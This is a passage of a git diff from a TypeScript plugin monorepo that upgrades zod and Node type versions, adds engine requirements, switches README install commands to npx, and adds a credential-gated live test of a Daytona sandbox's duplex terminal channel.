 export interface GoogleSheetsToolDefinition {
   name: string;
   description: string;
-  schema: z.AnyZodObject;
+  schema: z.ZodObject;
   annotations: ToolAnnotations;
   execute: (input: Record<string, unknown>) => Promise<ToolResult>;
 }
@@ -84,7 +84,7 @@ function formatTextResponse(value: unknown): ToolResult {
 }
 
 function errorMessage(error: unknown): string {
-  if (error instanceof z.ZodError) return error.errors.map((entry) => entry.message).join("; ");
+  if (error instanceof z.ZodError) return error.issues.map((entry) => entry.message).join("; ");
   if (error instanceof Error) return error.message;
   return String(error);
 }
diff --git a/packages/kv-demo-mcp-server/README.md b/packages/kv-demo-mcp-server/README.md
index c9f59217eaa..7934bd25b4c 100644
--- a/packages/kv-demo-mcp-server/README.md
+++ b/packages/kv-demo-mcp-server/README.md
@@ -40,7 +40,7 @@ Or run the source directly during development:
 
 ```sh
 cd packages/kv-demo-mcp-server
-node --experimental-strip-types src/main.ts   # Node 22+/24
+node --experimental-strip-types src/main.ts   # Node 24+
 ```
 
 By default it listens on `http://127.0.0.1:8848` and prints three URLs to
diff --git a/packages/kv-demo-mcp-server/package.json b/packages/kv-demo-mcp-server/package.json
index 83356617b30..bc2701878d1 100644
--- a/packages/kv-demo-mcp-server/package.json
+++ b/packages/kv-demo-mcp-server/package.json
@@ -45,11 +45,14 @@
   },
   "dependencies": {
     "@modelcontextprotocol/sdk": "^1.30.0",
-    "zod": "^3.24.2"
+    "zod": "^4.4.3"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3",
     "vitest": "^4.1.10"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/kv-demo-mcp-server/src/tools.ts b/packages/kv-demo-mcp-server/src/tools.ts
index 29017a525e4..6e61d383e69 100644
--- a/packages/kv-demo-mcp-server/src/tools.ts
+++ b/packages/kv-demo-mcp-server/src/tools.ts
@@ -7,7 +7,7 @@ export type ToolResult = CallToolResult;
 export interface KvToolDefinition {
   name: string;
   description: string;
-  schema: z.AnyZodObject;
+  schema: z.ZodObject;
   annotations: ToolAnnotations;
   execute: (input: Record<string, unknown>) => Promise<ToolResult>;
 }
@@ -50,7 +50,7 @@ function formatTextResponse(value: unknown): ToolResult {
 }
 
 function errorMessage(error: unknown): string {
-  if (error instanceof z.ZodError) return error.errors.map((entry) => entry.message).join("; ");
+  if (error instanceof z.ZodError) return error.issues.map((entry) => entry.message).join("; ");
   if (error instanceof Error) return error.message;
   return String(error);
 }
diff --git a/packages/mcp-server/package.json b/packages/mcp-server/package.json
index ba33a5ff5ec..371ac8e5e56 100644
--- a/packages/mcp-server/package.json
+++ b/packages/mcp-server/package.json
@@ -45,11 +45,14 @@
   "dependencies": {
     "@modelcontextprotocol/sdk": "^1.30.0",
     "@paperclipai/shared": "workspace:*",
-    "zod": "^3.24.2"
+    "zod": "^4.4.3"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3",
     "vitest": "^4.1.10"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/mcp-server/src/tools.ts b/packages/mcp-server/src/tools.ts
index f5772b33a48..6d0acc6f321 100644
--- a/packages/mcp-server/src/tools.ts
+++ b/packages/mcp-server/src/tools.ts
@@ -19,7 +19,7 @@ import { formatErrorResponse, formatTextResponse } from "./format.js";
 export interface ToolDefinition {
   name: string;
   description: string;
-  schema: z.AnyZodObject;
+  schema: z.ZodObject;
   execute: (input: Record<string, unknown>) => Promise<{
     content: Array<{ type: "text"; text: string }>;
   }>;
@@ -51,26 +51,26 @@ function parseOptionalJson(raw: string | undefined | null): unknown {
   return JSON.parse(raw);
 }
 
-const companyIdOptional = z.string().uuid().optional().nullable();
-const agentIdOptional = z.string().uuid().optional().nullable();
+const companyIdOptional = z.string().guid().optional().nullable();
+const agentIdOptional = z.string().guid().optional().nullable();
 const issueIdSchema = z.string().min(1);
 const projectIdSchema = z.string().min(1);
-const goalIdSchema = z.string().uuid();
-const approvalIdSchema = z.string().uuid();
+const goalIdSchema = z.string().guid();
+const approvalIdSchema = z.string().guid();
 const documentKeySchema = z.string().trim().min(1).max(64);
 
 const listIssuesSchema = z.object({
   companyId: companyIdOptional,
   status: z.string().optional(),
-  projectId: z.string().uuid().optional(),
-  assigneeAgentId: z.string().uuid().optional(),
-  participantAgentId: z.string().uuid().optional(),
+  projectId: z.string().guid().optional(),
+  assigneeAgentId: z.string().guid().optional(),
+  participantAgentId: z.string().guid().optional(),
   assigneeUserId: z.string().optional(),
   touchedByUserId: z.string().optional(),
   inboxArchivedByUserId: z.string().optional(),
   unreadForUserId: z.string().optional(),
-  labelId: z.string().uuid().optional(),
-  executionWorkspaceId: z.string().uuid().optional(),
+  labelId: z.string().guid().optional(),
+  executionWorkspaceId: z.string().guid().optional(),
   originKind: z.string().optional(),
   originId: z.string().optional(),
   includeRoutineExecutions: z.boolean().optional(),
@@ -80,7 +80,7 @@ const listIssuesSchema = z.object({
 
 const listCommentsSchema = z.object({
   issueId: issueIdSchema,
-  after: z.string().uuid().optional(),
+  after: z.string().guid().optional(),
   order: z.enum(["asc", "desc"]).optional(),
   limit: z.number().int().positive().max(500).optional(),
 });
@@ -92,7 +92,7 @@ const upsertDocumentToolSchema = z.object({
   format: z.enum(["markdown"]).default("markdown"),
   body: z.string().max(524288),
   changeSummary: z.string().trim().max(500).nullable().optional(),
-  baseRevisionId: z.string().uuid().nullable().optional(),
+  baseRevisionId: z.string().guid().nullable().optional(),
 });
 
 const createIssueToolSchema = z.object({
@@ -116,8 +116,8 @@ const addCommentToolSchema = z.object({
 const createSuggestTasksToolSchema = z.object({
   issueId: issueIdSchema,
   idempotencyKey: z.string().trim().max(255).nullable().optional(),
-  sourceCommentId: z.string().uuid().nullable().optional(),
-  sourceRunId: z.string().uuid().nullable().optional(),
+  sourceCommentId: z.string().guid().nullable().optional(),
+  sourceRunId: z.string().guid().nullable().optional(),
   title: z.string().trim().max(240).nullable().optional(),
   summary: z.string().trim().max(1000).nullable().optional(),
   continuationPolicy: issueThreadInteractionContinuationPolicySchema.optional().default("wake_assignee"),
@@ -127,8 +127,8 @@ const createSuggestTasksToolSchema = z.object({
 const createAskUserQuestionsToolSchema = z.object({
   issueId: issueIdSchema,
   idempotencyKey: z.string().trim().max(255).nullable().optional(),
-  sourceCommentId: z.string().uuid().nullable().optional(),
-  sourceRunId: z.string().uuid().nullable().optional(),
+  sourceCommentId: z.string().guid().nullable().optional(),
+  sourceRunId: z.string().guid().nullable().optional(),
   title: z.string().trim().max(240).nullable().optional(),
   summary: z.string().trim().max(1000).nullable().optional(),
   continuationPolicy: issueThreadInteractionContinuationPolicySchema.optional().default("wake_assignee"),
@@ -138,8 +138,8 @@ const createAskUserQuestionsToolSchema = z.object({
 const createRequestConfirmationToolSchema = z.object({
   issueId: issueIdSchema,
   idempotencyKey: z.string().trim().max(255).nullable().optional(),
-  sourceCommentId: z.string().uuid().nullable().optional(),
-  sourceRunId: z.string().uuid().nullable().optional(),
+  sourceCommentId: z.string().guid().nullable().optional(),
+  sourceRunId: z.string().guid().nullable().optional(),
   title: z.string().trim().max(240).nullable().optional(),
   summary: z.string().trim().max(1000).nullable().optional(),
   continuationPolicy: issueThreadInteractionContinuationPolicySchema.optional().default("none"),
@@ -149,8 +149,8 @@ const createRequestConfirmationToolSchema = z.object({
 const createRequestCheckboxConfirmationToolSchema = z.object({
   issueId: issueIdSchema,
   idempotencyKey: z.string().trim().max(255).nullable().optional(),
-  sourceCommentId: z.string().uuid().nullable().optional(),
-  sourceRunId: z.string().uuid().nullable().optional(),
+  sourceCommentId: z.string().guid().nullable().optional(),
+  sourceRunId: z.string().guid().nullable().optional(),
   title: z.string().trim().max(240).nullable().optional(),
   summary: z.string().trim().max(1000).nullable().optional(),
   continuationPolicy: issueThreadInteractionContinuationPolicySchema.optional().default("wake_assignee"),
@@ -176,7 +176,7 @@ const apiRequestSchema = z.object({
 
 const workspaceRuntimeControlTargetSchema = z.object({
   workspaceCommandId: z.string().min(1).optional().nullable(),
-  runtimeServiceId: z.string().uuid().optional().nullable(),
+  runtimeServiceId: z.string().guid().optional().nullable(),
   serviceIndex: z.number().int().nonnegative().optional().nullable(),
 });
 
@@ -187,7 +187,7 @@ const issueWorkspaceRuntimeControlSchema = z.object({
 
 const waitForIssueWorkspaceServiceSchema = z.object({
   issueId: issueIdSchema,
-  runtimeServiceId: z.string().uuid().optional().nullable(),
+  runtimeServiceId: z.string().guid().optional().nullable(),
   serviceName: z.string().min(1).optional().nullable(),
   timeoutSeconds: z.number().int().positive().max(300).optional(),
 });
@@ -287,7 +287,7 @@ export function createToolDefinitions(client: PaperclipApiClient): ToolDefinitio
     makeTool(
       "paperclipGetHeartbeatContext",
       "Get compact heartbeat context for an issue",
-      z.object({ issueId: issueIdSchema, wakeCommentId: z.string().uuid().optional() }),
+      z.object({ issueId: issueIdSchema, wakeCommentId: z.string().guid().optional() }),
       async ({ issueId, wakeCommentId }) => {
         const qs = wakeCommentId ? `?wakeCommentId=${encodeURIComponent(wakeCommentId)}` : "";
         return client.requestJson("GET", `/issues/${encodeURIComponent(issueId)}/heartbeat-context${qs}`);
@@ -309,7 +309,7 @@ export function createToolDefinitions(client: PaperclipApiClient): ToolDefinitio
     makeTool(
       "paperclipGetComment",
       "Get a specific issue comment by id",
-      z.object({ issueId: issueIdSchema, commentId: z.string().uuid() }),
+      z.object({ issueId: issueIdSchema, commentId: z.string().guid() }),
       async ({ issueId, commentId }) =>
         client.requestJson("GET", `/issues/${encodeURIComponent(issueId)}/comments/${encodeURIComponent(commentId)}`),
     ),
@@ -558,7 +558,7 @@ export function createToolDefinitions(client: PaperclipApiClient): ToolDefinitio
       z.object({
         issueId: issueIdSchema,
         key: documentKeySchema,
-        revisionId: z.string().uuid(),
+        revisionId: z.string().guid(),
       }),
       async ({ issueId, key, revisionId }) =>
         client.requestJson(
diff --git a/packages/plugins/create-paperclip-plugin/package.json b/packages/plugins/create-paperclip-plugin/package.json
index 321b5d68f67..d83b8cd4da6 100644
--- a/packages/plugins/create-paperclip-plugin/package.json
+++ b/packages/plugins/create-paperclip-plugin/package.json
@@ -45,7 +45,10 @@
     "@paperclipai/plugin-sdk": "workspace:*"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/plugins/create-paperclip-plugin/src/index.ts b/packages/plugins/create-paperclip-plugin/src/index.ts
index 365bf71d820..2598e828e8d 100644
--- a/packages/plugins/create-paperclip-plugin/src/index.ts
+++ b/packages/plugins/create-paperclip-plugin/src/index.ts
@@ -196,7 +196,7 @@ export function scaffoldPluginProject(options: ScaffoldPluginOptions): string {
       "@paperclipai/plugin-sdk": sdkDependency,
       "@rollup/plugin-node-resolve": "^16.0.1",
       "@rollup/plugin-typescript": "^12.1.2",
-      "@types/node": "^24.6.0",
+      "@types/node": "^24.0.0",
       "@types/react": "^19.0.8",
       esbuild: "^0.27.3",
       rollup: "^4.38.0",
diff --git a/packages/plugins/examples/plugin-authoring-smoke-example/README.md b/packages/plugins/examples/plugin-authoring-smoke-example/README.md
index 50099ad4bb9..bef60884ace 100644
--- a/packages/plugins/examples/plugin-authoring-smoke-example/README.md
+++ b/packages/plugins/examples/plugin-authoring-smoke-example/README.md
@@ -14,7 +14,7 @@ pnpm test
 ## Install Into Paperclip
 
 ```bash
-pnpm paperclipai plugin install ./
+npx paperclipai plugin install ./
 ```
 
 ## Build Options
diff --git a/packages/plugins/examples/plugin-authoring-smoke-example/package.json b/packages/plugins/examples/plugin-authoring-smoke-example/package.json
index 3b84caf5a2b..0813d363cf1 100644
--- a/packages/plugins/examples/plugin-authoring-smoke-example/package.json
+++ b/packages/plugins/examples/plugin-authoring-smoke-example/package.json
@@ -31,8 +31,8 @@
   "devDependencies": {
     "@rollup/plugin-node-resolve": "^16.0.1",
     "@rollup/plugin-typescript": "^12.1.2",
-    "@types/node": "^22.20.1",
-    "@types/react": "^19.2.17",
+    "@types/node": "^24.0.0",
+    "@types/react": "^19.2.18",
     "esbuild": "^0.28.1",
     "rollup": "^4.62.4",
     "tslib": "^2.8.1",
@@ -41,5 +41,8 @@
   },
   "peerDependencies": {
     "react": ">=18"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/plugins/examples/plugin-file-browser-example/README.md b/packages/plugins/examples/plugin-file-browser-example/README.md
index ca02fcf73ec..1e0dc883a93 100644
--- a/packages/plugins/examples/plugin-file-browser-example/README.md
+++ b/packages/plugins/examples/plugin-file-browser-example/README.md
@@ -39,13 +39,13 @@ From the repo root, build the plugin and install it by local path:
 
 ```bash
 pnpm --filter @paperclipai/plugin-file-browser-example build
-pnpm paperclipai plugin install ./packages/plugins/examples/plugin-file-browser-example
+npx paperclipai plugin install ./packages/plugins/examples/plugin-file-browser-example
 ```
 
 To uninstall:
 
 ```bash
-pnpm paperclipai plugin uninstall paperclip-file-browser-example --force
+npx paperclipai plugin uninstall paperclip-file-browser-example --force
 ```
 
 **Local development notes:**
diff --git a/packages/plugins/examples/plugin-file-browser-example/package.json b/packages/plugins/examples/plugin-file-browser-example/package.json
index f3bb05da5cb..82da74ca01f 100644
--- a/packages/plugins/examples/plugin-file-browser-example/package.json
+++ b/packages/plugins/examples/plugin-file-browser-example/package.json
@@ -28,15 +28,18 @@
     "codemirror": "^6.0.1"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
-    "@types/react": "^19.2.17",
-    "@types/react-dom": "^19.2.3",
+    "@types/node": "^24.0.0",
+    "@types/react": "^19.2.18",
+    "@types/react-dom": "^19.2.4",
     "esbuild": "^0.28.1",
-    "react": "^19.2.7",
-    "react-dom": "^19.2.7",
+    "react": "^19.2.8",
+    "react-dom": "^19.2.8",
     "typescript": "^5.7.3"
   },
   "peerDependencies": {
     "react": ">=18"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/plugins/examples/plugin-hello-world-example/README.md b/packages/plugins/examples/plugin-hello-world-example/README.md
index 889c9d257d1..cf8073b81c4 100644
--- a/packages/plugins/examples/plugin-hello-world-example/README.md
+++ b/packages/plugins/examples/plugin-hello-world-example/README.md
@@ -26,7 +26,7 @@ From the repo root, build the plugin and install it by local path:
 
 ```bash
 pnpm --filter @paperclipai/plugin-hello-world-example build
-pnpm paperclipai plugin install ./packages/plugins/examples/plugin-hello-world-example
+npx paperclipai plugin install ./packages/plugins/examples/plugin-hello-world-example
 ```
 
 **Local development notes:**
@@ -34,5 +34,5 @@ pnpm paperclipai plugin install ./packages/plugins/examples/plugin-hello-world-e
 - **Build first.** The host resolves the worker from the manifest `entrypoints.worker` (e.g. `./dist/worker.js`). Run `pnpm build` in the plugin directory before installing so the worker file exists.
 - **Dev-only install path.** This local-path install flow assumes a source checkout with this example package present on disk. For deployed installs, publish an npm package instead of relying on the monorepo example path.
 - **Reinstall after pulling.** If you installed a plugin by local path before the server stored `package_path`, the plugin may show status **error** (worker not found). Uninstall and install again so the server persists the path and can activate the plugin:  
-  `pnpm paperclipai plugin uninstall paperclip.hello-world-example --force` then  
-  `pnpm paperclipai plugin install ./packages/plugins/examples/plugin-hello-world-example`.
+  `npx paperclipai plugin uninstall paperclip.hello-world-example --force` then  
+  `npx paperclipai plugin install ./packages/plugins/examples/plugin-hello-world-example`.
diff --git a/packages/plugins/examples/plugin-hello-world-example/package.json b/packages/plugins/examples/plugin-hello-world-example/package.json
index be7581addc6..b2b8a436864 100644
--- a/packages/plugins/examples/plugin-hello-world-example/package.json
+++ b/packages/plugins/examples/plugin-hello-world-example/package.json
@@ -22,14 +22,17 @@
     "@paperclipai/plugin-sdk": "workspace:*"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
-    "@types/react": "^19.2.17",
-    "@types/react-dom": "^19.2.3",
-    "react": "^19.2.7",
-    "react-dom": "^19.2.7",
+    "@types/node": "^24.0.0",
+    "@types/react": "^19.2.18",
+    "@types/react-dom": "^19.2.4",
+    "react": "^19.2.8",
+    "react-dom": "^19.2.8",
     "typescript": "^5.7.3"
   },
   "peerDependencies": {
     "react": ">=18"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/plugins/examples/plugin-kitchen-sink-example/README.md b/packages/plugins/examples/plugin-kitchen-sink-example/README.md
index bfa4ec52683..208d905cd34 100644
--- a/packages/plugins/examples/plugin-kitchen-sink-example/README.md
+++ b/packages/plugins/examples/plugin-kitchen-sink-example/README.md
@@ -21,7 +21,7 @@ This plugin is for local development, contributor onboarding, and runtime regres
 
 ```sh
 pnpm --filter @paperclipai/plugin-kitchen-sink-example build
-pnpm paperclipai plugin install ./packages/plugins/examples/plugin-kitchen-sink-example
+npx paperclipai plugin install ./packages/plugins/examples/plugin-kitchen-sink-example
 ```
 
 Or install it from the Paperclip plugin manager as a bundled example once this repo is built.
diff --git a/packages/plugins/examples/plugin-kitchen-sink-example/package.json b/packages/plugins/examples/plugin-kitchen-sink-example/package.json
index 5ebc171a2d9..da4c65acc61 100644
--- a/packages/plugins/examples/plugin-kitchen-sink-example/package.json
+++ b/packages/plugins/examples/plugin-kitchen-sink-example/package.json
@@ -24,14 +24,17 @@
   },
   "devDependencies": {
     "esbuild": "^0.28.1",
-    "@types/node": "^22.20.1",
-    "@types/react": "^19.2.17",
-    "@types/react-dom": "^19.2.3",
-    "react": "^19.2.7",
-    "react-dom": "^19.2.7",
+    "@types/node": "^24.0.0",
+    "@types/react": "^19.2.18",
+    "@types/react-dom": "^19.2.4",
+    "react": "^19.2.8",
+    "react-dom": "^19.2.8",
     "typescript": "^5.7.3"
   },
   "peerDependencies": {
     "react": ">=18"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/plugins/examples/plugin-orchestration-smoke-example/package.json b/packages/plugins/examples/plugin-orchestration-smoke-example/package.json
index fd86b773862..b8f161725c6 100644
--- a/packages/plugins/examples/plugin-orchestration-smoke-example/package.json
+++ b/packages/plugins/examples/plugin-orchestration-smoke-example/package.json
@@ -32,8 +32,8 @@
     "@paperclipai/shared": "workspace:*",
     "@rollup/plugin-node-resolve": "^16.0.1",
     "@rollup/plugin-typescript": "^12.1.2",
-    "@types/node": "^22.20.1",
-    "@types/react": "^19.2.17",
+    "@types/node": "^24.0.0",
+    "@types/react": "^19.2.18",
     "esbuild": "^0.28.1",
     "rollup": "^4.62.4",
     "tslib": "^2.8.1",
@@ -42,5 +42,8 @@
   },
   "peerDependencies": {
     "react": ">=18"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/plugins/paperclip-plugin-fake-sandbox/package.json b/packages/plugins/paperclip-plugin-fake-sandbox/package.json
index 82dbf39ab5d..be4d6ea04cd 100644
--- a/packages/plugins/paperclip-plugin-fake-sandbox/package.json
+++ b/packages/plugins/paperclip-plugin-fake-sandbox/package.json
@@ -22,8 +22,11 @@
     "@paperclipai/plugin-sdk": "workspace:*"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3",
     "vitest": "^4.1.10"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/plugins/plugin-llm-wiki/package.json b/packages/plugins/plugin-llm-wiki/package.json
index 1fee289f3fc..1ab7c00999a 100644
--- a/packages/plugins/plugin-llm-wiki/package.json
+++ b/packages/plugins/plugin-llm-wiki/package.json
@@ -39,11 +39,11 @@
     "@paperclipai/plugin-sdk": "workspace:*",
     "@rollup/plugin-node-resolve": "^16.0.1",
     "@rollup/plugin-typescript": "^12.1.2",
-    "@types/node": "^22.20.1",
-    "@types/react": "^19.2.17",
-    "@types/react-dom": "^19.2.3",
+    "@types/node": "^24.0.0",
+    "@types/react": "^19.2.18",
+    "@types/react-dom": "^19.2.4",
     "esbuild": "^0.28.1",
-    "react-dom": "^19.2.7",
+    "react-dom": "^19.2.8",
     "rollup": "^4.62.4",
     "tslib": "^2.8.1",
     "typescript": "^5.7.3",
@@ -51,5 +51,8 @@
   },
   "peerDependencies": {
     "react": ">=18"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/plugins/plugin-workspace-diff/package.json b/packages/plugins/plugin-workspace-diff/package.json
index 8d02a774780..2631eba12ac 100644
--- a/packages/plugins/plugin-workspace-diff/package.json
+++ b/packages/plugins/plugin-workspace-diff/package.json
@@ -55,17 +55,20 @@
     "@pierre/diffs": "^1.2.11"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
-    "@types/react": "^19.2.17",
-    "@types/react-dom": "^19.2.3",
+    "@types/node": "^24.0.0",
+    "@types/react": "^19.2.18",
+    "@types/react-dom": "^19.2.4",
     "esbuild": "^0.28.1",
-    "react": "^19.2.7",
-    "react-dom": "^19.2.7",
+    "react": "^19.2.8",
+    "react-dom": "^19.2.8",
     "typescript": "^5.7.3",
     "vitest": "^4.1.10"
   },
   "peerDependencies": {
     "react": ">=18",
     "react-dom": ">=18"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/plugins/sandbox-providers/cloudflare/bridge-template/package.json b/packages/plugins/sandbox-providers/cloudflare/bridge-template/package.json
index ca3d38e6096..b51ee6ea68e 100644
--- a/packages/plugins/sandbox-providers/cloudflare/bridge-template/package.json
+++ b/packages/plugins/sandbox-providers/cloudflare/bridge-template/package.json
@@ -17,5 +17,8 @@
     "typescript": "^5.7.3",
     "vitest": "^4.1.8",
     "wrangler": "^4.15.0"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/plugins/sandbox-providers/cloudflare/package.json b/packages/plugins/sandbox-providers/cloudflare/package.json
index d959d6ff494..4956e4c3027 100644
--- a/packages/plugins/sandbox-providers/cloudflare/package.json
+++ b/packages/plugins/sandbox-providers/cloudflare/package.json
@@ -51,8 +51,11 @@
     "postpack": "if [ -f package.dev.json ]; then mv package.dev.json package.json; fi"
   },
   "devDependencies": {
-    "@types/node": "^24.6.0",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3",
     "vitest": "^4.1.8"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/plugins/sandbox-providers/daytona/package.json b/packages/plugins/sandbox-providers/daytona/package.json
index 25c45046e97..ddc5acd934f 100644
--- a/packages/plugins/sandbox-providers/daytona/package.json
+++ b/packages/plugins/sandbox-providers/daytona/package.json
@@ -53,8 +53,11 @@
     "@daytonaio/sdk": "0.203.0"
   },
   "devDependencies": {
-    "@types/node": "^24.6.0",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3",
     "vitest": "^4.1.8"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/plugins/sandbox-providers/daytona/src/duplex-command-stream.live.test.ts b/packages/plugins/sandbox-providers/daytona/src/duplex-command-stream.live.test.ts
new file mode 100644
index 00000000000..88b80d2ec32
--- /dev/null
+++ b/packages/plugins/sandbox-providers/daytona/src/duplex-command-stream.live.test.ts
@@ -0,0 +1,194 @@
+// Live characterization of the Daytona duplex channel against the real provider.
+//
+// The test is credential-gated by design. It runs only when the run shell holds a
+// Daytona API key, and it skips cleanly when the key is absent. The key comes from
+// `DAYTONA_API_KEY`, which the plugin also reads as the credential fallback
+// (`plugin.ts`). A skip is acceptable: the merged live coverage re-runs at a later
+// phase and at rollout.
+//
+// What it proves on one live sandbox:
+//   1. The duplex channel and an ordinary command run at the same time.
+//   2. Host input sent after the child starts arrives, with no terminal echo and
+//      no frame corruption.
+//   3. Channel teardown leaves no leaked provider session.
+//
+// The channel runs `cat` as the child. `cat` copies its input to its output, so a
+// host write returns one time as program output. The launch wrapper sets the
+// pseudo-terminal to raw mode with echo off, so the terminal adds no second copy
+// and no newline translation. A returned line that equals the sent line, one time,
+// proves both the delivery and the clean stream.
+//
+// The Daytona SDK is a runtime dependency of this live test only. The module loads
+// it with a dynamic import inside the gated block, so the file imports with no SDK
+// present and the other Daytona tests still run without it.
+
+import { afterAll, beforeAll, describe, expect, it } from "vitest";
+import { randomUUID } from "node:crypto";
+import {
+  openDaytonaDuplexChannelSession,
+  type DaytonaPtyProcess,
+  type DuplexChannelSession,
+} from "./duplex-command-stream.js";
+
+const DAYTONA_API_KEY = process.env.DAYTONA_API_KEY?.trim() ?? "";
+const HAS_DAYTONA_CREDENTIAL = DAYTONA_API_KEY.length > 0;
+const describeLive = HAS_DAYTONA_CREDENTIAL ? describe : describe.skip;
+
+if (!HAS_DAYTONA_CREDENTIAL) {
+  // eslint-disable-next-line no-console
+  console.warn(
+    "Skipping the Daytona duplex channel live test: DAYTONA_API_KEY is not set in the run shell.",
+  );
+}
+
+// A live sandbox create and destroy needs a generous timeout. The provider round
+// trip dominates the wall-clock time.
+const LIVE_TIMEOUT_MS = 180_000;
+
+// The minimal shape of the live Daytona sandbox that the test uses. The dynamic
+// import returns the real SDK types; this local shape keeps the file type-safe
+// without a static SDK import.
+interface LiveDaytonaSandbox {
+  process: DaytonaPtyProcess & {
+    executeCommand(command: string): Promise<{ exitCode?: number; result?: string }>;
+    listSessions?: () => Promise<Array<{ sessionId?: string }>>;
+  };
+  delete(): Promise<void>;
+}
+
+/**
+ * Wait until `predicate(text)` is true for the running output, or reject after
+ * `timeoutMs`. The poll interval is short, so the wait ends soon after the output
+ * arrives.
+ */
+async function waitFor(
+  readOutput: () => string,
+  predicate: (text: string) => boolean,
+  timeoutMs: number,
+  label: string,
+): Promise<void> {
+  const deadline = Date.now() + timeoutMs;
+  for (;;) {
+    if (predicate(readOutput())) return;
+    if (Date.now() > deadline) {
+      throw new Error(`Timed out waiting for ${label}. Output so far: ${JSON.stringify(readOutput())}`);
+    }
+    await new Promise((resolve) => setTimeout(resolve, 100));
+  }
+}
+
+/** Open a `cat` duplex channel and collect its output into a growing string. */
+async function openCatChannel(
+  sandbox: LiveDaytonaSandbox,
+): Promise<{ session: DuplexChannelSession; readOutput: () => string }> {
+  let output = "";
+  const session = await openDaytonaDuplexChannelSession(sandbox.process, "cat");
+  session.onData((chunk) => {
+    output += chunk;
+  });
+  return { session, readOutput: () => output };
+}
+
+describeLive("Daytona duplex channel (live)", () => {
+  let sandbox: LiveDaytonaSandbox | null = null;
+
+  beforeAll(async () => {
+    const { Daytona } = await import("@daytonaio/sdk");
+    const client = new Daytona({ apiKey: DAYTONA_API_KEY });
+    sandbox = (await client.create()) as unknown as LiveDaytonaSandbox;
+  }, LIVE_TIMEOUT_MS);
+
+  afterAll(async () => {
+    await sandbox?.delete().catch(() => undefined);
+  }, LIVE_TIMEOUT_MS);
+
+  it(
+    "runs the duplex channel and an ordinary command on one live sandbox",
+    async () => {
+      const live = sandbox!;
+      const { session, readOutput } = await openCatChannel(live);
+      try {
+        // Run an ordinary command while the channel child stays alive. Both use the
+        // same live sandbox, so a success on both proves they coexist.
+        const token = `ordinary-${randomUUID()}`;
+        const ordinary = await live.process.executeCommand(`printf %s ${token}`);
+        expect(ordinary.exitCode ?? 0).toBe(0);
+        expect(ordinary.result ?? "").toContain(token);
+
+        // The channel child still answers. A write returns as program output.
+        const ping = `chan-${randomUUID()}`;
+        session.write(`${ping}\n`);
+        await waitFor(readOutput, (text) => text.includes(ping), 30_000, "channel echo");
+      } finally {
+        await session.close();
+      }
+    },
+    LIVE_TIMEOUT_MS,
+  );
+
+  it(
+    "delivers host input sent after startup with no echo and no frame corruption",
+    async () => {
+      const live = sandbox!;
+      const { session, readOutput } = await openCatChannel(live);
+      try {
+        // Let the launch wrapper run `stty raw -echo` before the host input. The
+        // wrapper output echoes in cooked mode, so wait for the raw-mode switch
+        // before the measured write.
+        await new Promise((resolve) => setTimeout(resolve, 4_000));
+        const baseline = readOutput().length;
+
+        const line = `PING-${randomUUID()}`;
+        session.write(`${line}\n`);
+        await waitFor(
+          readOutput,
+          (text) => text.slice(baseline).includes(line),
+          30_000,
+          "delayed host input",
+        );
+
+        // Only `cat` writes the line, one time. Raw mode with echo off adds no
+        // second copy, so the sent token appears exactly one time after the write.
+        const afterWrite = readOutput().slice(baseline);
+        const occurrences = afterWrite.split(line).length - 1;
+        expect(occurrences).toBe(1);
+
+        // The stream carries the frame bytes with no newline translation. The
+        // returned line keeps its single line-feed and gains no carriage return.
+        expect(afterWrite).toContain(`${line}\n`);
+        expect(afterWrite).not.toContain(`${line}\r`);
+      } finally {
+        await session.close();
+      }
+    },
+    LIVE_TIMEOUT_MS,
+  );
+
+  it(
+    "leaves no leaked provider session after channel close",
+    async () => {
+      const live = sandbox!;
+      const listSessions = live.process.listSessions?.bind(live.process);
+      const baseline = listSessions ? (await listSessions()).length : 0;
+
+      const { session } = await openCatChannel(live);
+      await session.close();
+
+      if (listSessions) {
+        // The channel uses a pseudo-terminal, not an ordinary session. So the
+        // session list stays at the baseline. A leaked session would raise the
+        // count.
+        const after = (await listSessions()).length;
+        expect(after).toBe(baseline);
+      }
+
+      // The child exits after close, so a fresh ordinary command still succeeds on
+      // the same sandbox. A leaked channel would block or corrupt the sandbox.
+      const token = `after-close-${randomUUID()}`;
+      const probe = await live.process.executeCommand(`printf %s ${token}`);
+      expect(probe.exitCode ?? 0).toBe(0);
+      expect(probe.result ?? "").toContain(token);
+    },
+    LIVE_TIMEOUT_MS,
+  );
+});
diff --git a/packages/plugins/sandbox-providers/daytona/src/duplex-command-stream.test.ts b/packages/plugins/sandbox-providers/daytona/src/duplex-command-stream.test.ts
new file mode 100644
index 00000000000..476591afd65
--- /dev/null
+++ b/packages/plugins/sandbox-providers/daytona/src/duplex-command-stream.test.ts
